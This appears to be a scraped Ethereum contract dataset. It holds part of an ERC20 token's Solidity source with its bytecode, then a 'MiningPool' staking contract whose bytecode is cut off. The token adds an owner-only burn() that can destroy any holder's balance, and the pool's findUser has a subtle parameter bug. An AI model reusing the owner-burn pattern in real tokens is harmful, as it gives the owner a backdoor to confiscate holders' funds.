* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function ownerAddress() public view returns(address) {
return _owner;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function burn(address account,uint256 amount) public {
require(_msgSender() == _owner);
_burn(account,amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c5780639dc29fac116100665780639dc29fac1461022a578063a457c2d714610246578063a9059cbb14610276578063dd62ed3e146102a6576100cf565b806370a08231146101be5780638f84aa09146101ee57806395d89b411461020c576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170578063395093511461018e575b600080fd5b6100dc6102d6565b6040516100e9919061117d565b60405180910390f35b61010c60048036038101906101079190610f5b565b610368565b6040516101199190611162565b60405180910390f35b61012a610386565b60405161013791906112bf565b60405180910390f35b61015a60048036038101906101559190610f0c565b610390565b6040516101679190611162565b60405180910390f35b610178610491565b60405161018591906112da565b60405180910390f35b6101a860048036038101906101a39190610f5b565b61049a565b6040516101b59190611162565b60405180910390f35b6101d860048036038101906101d39190610ea7565b610546565b6040516101e591906112bf565b60405180910390f35b6101f661058e565b6040516102039190611147565b60405180910390f35b6102146105b8565b604051610221919061117d565b60405180910390f35b610244600480360381019061023f9190610f5b565b61064a565b005b610260600480360381019061025b9190610f5b565b6106b9565b60405161026d9190611162565b60405180910390f35b610290600480360381019061028b9190610f5b565b6107ad565b60405161029d9190611162565b60405180910390f35b6102c060048036038101906102bb9190610ed0565b6107cb565b6040516102cd91906112bf565b60405180910390f35b6060600380546102e590611423565b80601f016020809104026020016040519081016040528092919081815260200182805461031190611423565b801561035e5780601f106103335761010080835404028352916020019161035e565b820191906000526020600020905b81548152906001019060200180831161034157829003601f168201915b5050505050905090565b600061037c610375610852565b848461085a565b6001905092915050565b6000600254905090565b600061039d848484610a25565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103e8610852565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610468576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045f9061121f565b60405180910390fd5b61048585610474610852565b85846104809190611367565b61085a565b60019150509392505050565b60006012905090565b600061053c6104a7610852565b8484600160006104b5610852565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105379190611311565b61085a565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546105c790611423565b80601f01602080910402602001604051908101604052809291908181526020018280546105f390611423565b80156106405780601f1061061557610100808354040283529160200191610640565b820191906000526020600020905b81548152906001019060200180831161062357829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068b610852565b73ffffffffffffffffffffffffffffffffffffffff16146106ab57600080fd5b6106b58282610ca4565b5050565b600080600160006106c8610852565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c9061129f565b60405180910390fd5b6107a2610790610852565b85858461079d9190611367565b61085a565b600191505092915050565b60006107c16107ba610852565b8484610a25565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c19061127f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561093a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610931906111df565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a1891906112bf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8c9061125f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afc9061119f565b60405180910390fd5b610b10838383610e78565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8d906111ff565b60405180910390fd5b8181610ba29190611367565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c329190611311565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c9691906112bf565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b9061123f565b60405180910390fd5b610d2082600083610e78565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d906111bf565b60405180910390fd5b8181610db29190611367565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160026000828254610e069190611367565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e6b91906112bf565b60405180910390a3505050565b505050565b600081359050610e8c8161178b565b92915050565b600081359050610ea1816117a2565b92915050565b600060208284031215610eb957600080fd5b6000610ec784828501610e7d565b91505092915050565b60008060408385031215610ee357600080fd5b6000610ef185828601610e7d565b9250506020610f0285828601610e7d565b9150509250929050565b600080600060608486031215610f2157600080fd5b6000610f2f86828701610e7d565b9350506020610f4086828701610e7d565b9250506040610f5186828701610e92565b9150509250925092565b60008060408385031215610f6e57600080fd5b6000610f7c85828601610e7d565b9250506020610f8d85828601610e92565b9150509250929050565b610fa08161139b565b82525050565b610faf816113ad565b82525050565b6000610fc0826112f5565b610fca8185611300565b9350610fda8185602086016113f0565b610fe3816114b3565b840191505092915050565b6000610ffb602383611300565b9150611006826114c4565b604082019050919050565b600061101e602283611300565b915061102982611513565b604082019050919050565b6000611041602283611300565b915061104c82611562565b604082019050919050565b6000611064602683611300565b915061106f826115b1565b604082019050919050565b6000611087602883611300565b915061109282611600565b604082019050919050565b60006110aa602183611300565b91506110b58261164f565b604082019050919050565b60006110cd602583611300565b91506110d88261169e565b604082019050919050565b60006110f0602483611300565b91506110fb826116ed565b604082019050919050565b6000611113602583611300565b915061111e8261173c565b604082019050919050565b611132816113d9565b82525050565b611141816113e3565b82525050565b600060208201905061115c6000830184610f97565b92915050565b60006020820190506111776000830184610fa6565b92915050565b600060208201905081810360008301526111978184610fb5565b905092915050565b600060208201905081810360008301526111b881610fee565b9050919050565b600060208201905081810360008301526111d881611011565b9050919050565b600060208201905081810360008301526111f881611034565b9050919050565b6000602082019050818103600083015261121881611057565b9050919050565b600060208201905081810360008301526112388161107a565b9050919050565b600060208201905081810360008301526112588161109d565b9050919050565b60006020820190508181036000830152611278816110c0565b9050919050565b60006020820190508181036000830152611298816110e3565b9050919050565b600060208201905081810360008301526112b881611106565b9050919050565b60006020820190506112d46000830184611129565b92915050565b60006020820190506112ef6000830184611138565b92915050565b600081519050919050565b600082825260208201905092915050565b600061131c826113d9565b9150611327836113d9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561135c5761135b611455565b5b828201905092915050565b6000611372826113d9565b915061137d836113d9565b9250828210156113905761138f611455565b5b828203905092915050565b60006113a6826113b9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561140e5780820151818401526020810190506113f3565b8381111561141d576000848401525b50505050565b6000600282049050600182168061143b57607f821691505b6020821081141561144f5761144e611484565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6117948161139b565b811461179f57600080fd5b50565b6117ab816113d9565b81146117b657600080fd5b5056fea264697066735822122096888b8bacfd8fd41abc48f21b045b5c0b7c2334611d813ee3296aec4395ea0064736f6c63430008010033
|
{"success": true, "error": null, "results": {}}
| 9,422 |
0xc98d37c717e810b2243e586b191b4a9c35185e4d
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address, address) external;
function setFeeOwner(address _feeOwner) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor () { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function nonces(address account) external view returns (uint256);
function approve(address spender, uint value) external returns (bool);
function permit(address holder, address spender, uint256 nonce, uint256 expiry, uint256 amount, uint8 v, bytes32 r, bytes32 s) external;
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IUniswapFactory {
function getPair(address token0,address token1) external returns(address);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
function balanceOf(address owner) external view returns (uint);
}
contract MiningPool is Ownable {
constructor(IERC20 _token, IUniswapFactory _factory, uint256 chainId_, IWETH _weth ) {
// tokens[0] = tokenAddress;
// tokens[1] = wethAddress;
token = _token;
factory = _factory;
weth = _weth;
ANCHOR = duration(0,block.timestamp).mul(ONE_DAY);
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256("MiningPool"),
keccak256(bytes(version)),
chainId_,
address(this)
));
}
receive() external payable {
assert(msg.sender == address(weth)); // only accept ETH via fallback from the WETH contract
}
using SafeMath for uint256;
struct User {
uint256 id;
uint256 investment;
uint256 freezeTime;
}
string public constant version = "1";
// --- EIP712 niceties ---
bytes32 public DOMAIN_SEPARATOR;
// bytes32 public constant PERMIT_TYPEHASH = keccak256("Lock(address holder,address locker,uint256 nonce,uint256 expiry,bool allowed)");
bytes32 public constant PERMIT_TYPEHASH = 0x21cd9aa44f4218d88de398865e90b6302b1c68dbeecba1ed08e507cb29ef9d6f;
uint256 constant internal ONE_DAY = 1 days;
uint256 public ANCHOR;
IERC20 public token;
IWETH public weth;
//address[2] tokens;
IUniswapV2Pair public pair;
IUniswapFactory public factory;
uint256 public stakeAmount;
mapping(address=>User) public users;
//Index of the user
mapping(uint256=>address) public indexs;
mapping(address => uint256[2]) public deposits;
mapping (address => uint) public _nonces;
uint256 public userCounter;
event Stake(address indexed userAddress,uint256 amount);
event WithdrawCapital(address indexed userAddress,uint256 amount);
event Deposit(address indexed userAddress,uint256[2]);
event Allot(address indexed userAddress,uint256,uint256);
event Lock(address indexed userAddress,uint256 amount);
function setPair(address tokenA,address tokenB) public onlyOwner returns(address pairAddress){
pairAddress = factory.getPair(tokenA,tokenB);
//require(pairAddress!=address(0),"Invalid trade pair");
pair = IUniswapV2Pair(pairAddress);
}
function deposit(uint256[2] memory amounts) public returns(bool){
(address[2] memory tokens,) = balanceOf(address(this));
for(uint8 i = 0;i<amounts.length;i++){
if(amounts[i]>0) TransferHelper.safeTransferFrom(tokens[i],msg.sender,address(this),amounts[i]);
deposits[msg.sender][i] += amounts[i];
}
emit Deposit(msg.sender,amounts);
return true;
}
function allot(address userAddress,uint256[2] memory amounts) public returns(bool){
(address[2] memory tokens,) = balanceOf(address(this));
if(amounts[0]>0) _transfer(tokens[0],userAddress,amounts[0]);
if(amounts[1]>0) _transfer(tokens[1],userAddress,amounts[1]);
for(uint8 i = 0;i<amounts.length;i++){
require(deposits[msg.sender][i]>=amounts[i],"not sufficient funds");
deposits[msg.sender][i]-=amounts[i];
}
emit Allot(userAddress,amounts[0],amounts[1]);
return true;
}
function _transfer(address _token,address userAddress,uint256 amount) internal {
if(_token==address(weth)) {
weth.withdraw(amount);
TransferHelper.safeTransferETH(userAddress, amount);
}else{
TransferHelper.safeTransfer(_token,userAddress,amount);
}
}
function stake(uint256 amount) public {
require(address(pair)!=address(0),"Invalid trade pair");
require(amount>0,"Amount of error");
//token.permit(msg.sender,address(this),nonce,expiry,amount,v,r,s);
TransferHelper.safeTransferFrom(address(token),msg.sender,address(this),amount);
User storage user = findUser(msg.sender);
user.investment+= amount;
stakeAmount+=amount;
emit Stake(msg.sender,stakeAmount);
}
function lock(address holder, address locker, uint256 nonce, uint256 expiry,
bool allowed, uint8 v, bytes32 r, bytes32 s) public
{
bytes32 digest =
keccak256(abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH,
holder,
locker,
nonce,
expiry,
allowed))
));
require(holder != address(0), "invalid-address-0");
require(holder == ecrecover(digest, v, r, s), "invalid-permit");
require(expiry == 0 || block.timestamp <= expiry, "permit-expired");
require(nonce == _nonces[holder]++, "invalid-nonce");
users[holder].freezeTime = block.timestamp;
emit Lock(holder,users[holder].investment);
}
function withdrawCapital() public {
User storage user = users[msg.sender];
if(user.freezeTime!=0){
require(duration(user.freezeTime)!=duration(),"not allowed now");
}
uint256 amount = user.investment;
require(amount>0,"not stake");
TransferHelper.safeTransfer(address(token),msg.sender,amount);
user.investment = 0;
user.freezeTime = 0;
stakeAmount = stakeAmount.sub(amount);
emit WithdrawCapital(msg.sender,stakeAmount);
}
function findUser(address userAddress) internal returns(User storage user) {
User storage udata = users[msg.sender];
if(udata.id==0){
userCounter++;
udata.id = userCounter;
indexs[userCounter] = userAddress;
}
return udata;
}
function lockStatus(address userAddress) public view returns(bool){
uint256 freezeTime = users[userAddress].freezeTime;
return freezeTime==0?false:duration(freezeTime) == duration();
}
function balanceOf(address userAddress) public view returns (address[2] memory tokens,uint256[2] memory balances){
tokens[0] = pair.token0();
tokens[1] = pair.token1();
balances[0] = IERC20(tokens[0]).balanceOf(userAddress);
balances[1] = IERC20(tokens[1]).balanceOf(userAddress);
return (tokens,balances);
}
function totalSupply() public view returns (uint256){
return token.totalSupply();
}
function duration() public view returns(uint256){
return duration(block.timestamp);
}
function duration(uint256 endTime) internal view returns(uint256){
return duration(ANCHOR,endTime);
}
function duration(uint256 startTime,uint256 endTime) internal pure returns(uint256){
if(endTime<startTime){
return 0;
}else{
return endTime.sub(startTime).div(ONE_DAY);
}
}
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
|
0x6080604052600436106101bb5760003560e01c8063715018a6116100ec578063b9844d8d1161008a578063f020d11811610064578063f020d118146109ef578063f0c37a5914610a97578063f2fde38b14610ac2578063fc0c546a14610b1357610219565b8063b9844d8d146108da578063c45a01551461093f578063d6d681771461098057610219565b806395c5c5e3116100c657806395c5c5e314610750578063a694fc3a146107eb578063a87430ba14610826578063a8aa1b311461089957610219565b8063715018a6146106cb5780638da5cb5b146106e25780638f32d59b1461072357610219565b806330adf81f1161015957806354fd4d501161013357806354fd4d501461052957806360c7dc47146105b95780636ff43706146105e457806370a082311461060f57610219565b806330adf81f146104925780633644e515146104bd5780633fc8cef3146104e857610219565b806315497d2c1161019557806315497d2c1461033657806317727a001461039d57806318160ddd146103b457806322f28b49146103df57610219565b80630fb5a6b41461021e578063101d457914610249578063143ad356146102ae57610219565b3661021957600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461021757fe5b005b600080fd5b34801561022a57600080fd5b50610233610b54565b6040518082815260200191505060405180910390f35b34801561025557600080fd5b506102826004803603602081101561026c57600080fd5b8101908080359060200190929190505050610b64565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102ba57600080fd5b5061031e600480360360408110156102d157600080fd5b8101908080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290505050610b97565b60405180821515815260200191505060405180910390f35b34801561034257600080fd5b506103856004803603602081101561035957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d01565b60405180821515815260200191505060405180910390f35b3480156103a957600080fd5b506103b2610d73565b005b3480156103c057600080fd5b506103c9610f7b565b6040518082815260200191505060405180910390f35b3480156103eb57600080fd5b50610490600480360361010081101561040357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803515159060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050611025565b005b34801561049e57600080fd5b506104a76114ed565b6040518082815260200191505060405180910390f35b3480156104c957600080fd5b506104d2611514565b6040518082815260200191505060405180910390f35b3480156104f457600080fd5b506104fd61151a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053557600080fd5b5061053e611540565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057e578082015181840152602081019050610563565b50505050905090810190601f1680156105ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105c557600080fd5b506105ce611579565b6040518082815260200191505060405180910390f35b3480156105f057600080fd5b506105f961157f565b6040518082815260200191505060405180910390f35b34801561061b57600080fd5b5061065e6004803603602081101561063257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611585565b6040518083600260200280838360005b8381101561068957808201518184015260208101905061066e565b5050505090500182600260200280838360005b838110156106b757808201518184015260208101905061069c565b505050509050019250505060405180910390f35b3480156106d757600080fd5b506106e06118fa565b005b3480156106ee57600080fd5b506106f7611a32565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072f57600080fd5b50610738611a5b565b60405180821515815260200191505060405180910390f35b34801561075c57600080fd5b506107bf6004803603604081101561077357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ab9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107f757600080fd5b506108246004803603602081101561080e57600080fd5b8101908080359060200190929190505050611c62565b005b34801561083257600080fd5b506108756004803603602081101561084957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e4e565b60405180848152602001838152602001828152602001935050505060405180910390f35b3480156108a557600080fd5b506108ae611e78565b604051808273fffffffffffffffffffffffffffff